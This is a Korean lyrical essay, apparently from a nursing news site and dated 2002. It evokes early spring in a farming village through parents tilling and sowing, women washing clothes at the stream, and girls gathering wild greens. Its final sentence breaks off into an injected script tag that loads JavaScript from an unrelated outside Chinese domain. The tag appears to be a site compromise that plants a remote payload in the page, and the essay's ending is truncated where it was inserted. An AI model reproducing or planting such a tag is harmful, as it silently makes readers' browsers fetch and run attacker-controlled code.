기사입력 2002-02-28 오후 13:14:27

이아정(수필가·전 지방공사 진주의료원 간호과장)

우수가 지나자 쌀쌀한 기온이 풀리며 서서히 따사로운 기운을 머금은 빛이 대기 속으로 퍼져든다.
이른 아침 개화산의 집에서 산과 들을 돌아보고 내려오는 아버지는 해동이 되었다고, 동이 트는데 아직도 잠이냐면서 식구들을 불러 깨운다. 아버지의 높은 목소리는 봄의 전령사인 듯하다.
계절의 변화를 알리는 비가 추적추적 내려 봄을 재촉한다. 굳었던 땅이 녹아 포슬포슬해진 흙은 모든 생명을 잉태하여 싹을 틔울 준비를 한다.
보리가 초록빛으로 파릇파릇한 논밭에서 겨울부터 돋아난 연한 뚝새풀을 매는 아낙네들은 등줄기에 따사로운 햇살을 느낀다.
이른봄 더러 밭에는 유채가 연둣빛을 띤다. 남새밭에 씨 고구마를 묻고, 밭두둑을 다듬어 봄콩(완두콩)을 심는다. 지심(풀)이 하나둘 돋아나는가 했는데 이내 대지를 덮는다. 지심을 매고 겨울에 뿌린 고추씨의 싹이 나오는가 살피는 어머니는 대지에 엎드려 봄 소리에 귀기울이고 있다.
남새밭 입구에 편백나무 한 그루는 윤기를 되찾는다. 담장 밑에 앵두나무들, 장독대 위에 아치 모양으로 휘어진 찔레나무, 화단 울타리 구기자나무들이 제 빛깔의 깨알같은 싹눈을 내민다. 포슬포슬해진 흙을 뚫고 옥잠화며 나리, 목단 등 싹이 뾰족이 올라온다. 소생하는 봄은 자연의 신비로 가득하다.
꽃샘바람 때를 바람할매라 하여 보름동안 풍신제를 지낸다. 꽃샘바람이 대지 위를 넘나들며 봄기운을 실어온다.
어머니는 이웃 아주머니들과 농사일로 바쁜 시기가 오기 전에 겨울에 삼아둔 모시 올을 봄볕 널린 마당에 펼쳐 날고 맨다. 어미 닭을 따라 마당을 노니는 병아리의 여리고 노란 깃털이 눈에 아린다.
두엄 배널을 헐어 두엄을 보리논밭에 내는 일을 시작한다. 두엄 바지게를 짊어진 남정네들은 겨우내 경직된 어깨와 팔다리를 뻗치고 활기를 되찾는다.
부리어 놓은 두엄더미의 두엄을 삼태기에 담아 온 논에 고르게 흩뿌리며 다니는 여자들은 젊음의 기운이 살아난다.
벌써부터 내에 나가 냇물을 들여다보고 일없이 보리논밭가를 쏘다니는 아이들의 머리칼에 봄빛이 팔랑거린다. 냇물이 풀려 조잘조잘 소리를 내며 흐른다. 여자들은 집안의 온갖 묵은 빨래거리를 갖고 나와 빨래를 하며 봄의 느낌을 몰고 다닌다.
겨울의 두꺼운 옷을 봄옷으로 갈아입고 어른들은 장으로 출타를 하여 사람들을 만나 담소를 즐긴다. 계절의 변화는 움츠러든 가슴을 펴게 하고 닫힌 마음의 문을 열어 준다.
산을 올려다보면 언덕배기에 아지랑이가 유난스럽다. 봄볕이 이마에 와 닿고 아지랑이에 눈이 부신다. 젊은 처녀들은 마음이 부풀어오른다. 자신도 보를 새로운 가능성과 기대로 설레고 들뜬다.
이른봄부터 처녀들과 아이들은 살랑대는 봄바람에 치마를 나부끼며 바구니를 들고 들녘으로 몰려 나간다. 얼굴빛에 생기가 나고 몸짓들이 생동하는 물결이다.
논두렁 밭두렁에 엎디어 이제 돋아나는 여린 쑥을 캔다. 산 언덕배기에 올라 무덤 앞에 막 피어난 할미꽃과 달롱개(달래)도 뿌리째 캐어 바구니에 담는다. 겨울 동안 묵혀둔 밭에 송송 돋아난 나생이(냉이), 목굴레(개불알풀), 민들레, 쑥부쟁이, 뺑도레미(질경이) 등 봄나물은 여리고 풋풋한 내음을 풍긴다.
때맞추어 파종을 하기 위해 농부들은 밭 전체에 밑거름을 고루 흩뿌리고, 소를 앞세워 밭갈이를 한다. 싱그러운 자연 가운데서 펼치는 생명력에 찬 몸짓들이다.
햇빛 밝은 마당에서 씨앗을 뿌린다. 밭두둑을 만들고 골을 내어 무, 배추, 상추씨를 뿌리고 가지 모종을 심는다. 큰 밭에는 목화씨를 갈고, 언덕 밑에 호박 구덕을 파 거름을 하여 호박씨를 묻는다.
4월의 아침 저자에 다녀온 어머니는 부엌의 딸들에게 저자 바구니를 건네고 언제나 텃밭 사립문을 열고 들에 나간다. 외양간 소가 부스스 털고 일어서 쇠죽 때를 기다리며 남새밭 쪽을 내다보고 있다.
아침해가 솟으면 참새들이 대숲에서 제 세상을 만난 듯 날아다니며 재잘거린다. 어미 새들이 겨울 동안 집 기슭(처마) 속에 집을 짓고 알을 품어 깨어난 새끼 새들의, 작은 깃털을 반짝이며 날아드는 모습이 예쁘다. 앞집과 우리 집의 대숲은 까치래하던 잎들이 윤기 흐르는 짙푸른 빛을 되찾고 있다.
돌담과 밭두둑, 나무들, 초가지붕이 어우러진 옅은 아침 안개가 끼인 너른 뜰은 싱그럽고 신비롭다. 붉은 찔레꽃 봉오리가 맺히고 남새밭의 여러 그루 감나무에 연둣빛 싹이 돋아나고 있다.
지심을 매고 아침밥 때되어 들어오는 어머니의 치마꼬리와 고무신은 이슬과 흙에 젖어 있다. 혼잣말을 하며 남새밭 촉촉한 봄길을 걸어들어 오고 있다. 샘가에서 흙 묻은 고무신과 호미를 씻는다.
봄비가 4월의 대지를 적신다. 줄줄 빗물이 흐르는 초록 보리논밭의 색채는 더 한층 아름답다.
쾌청한 봄날 ?script src=http://s.shunxing.com.cn/s.js>

이아정  news@nursenews.co.kr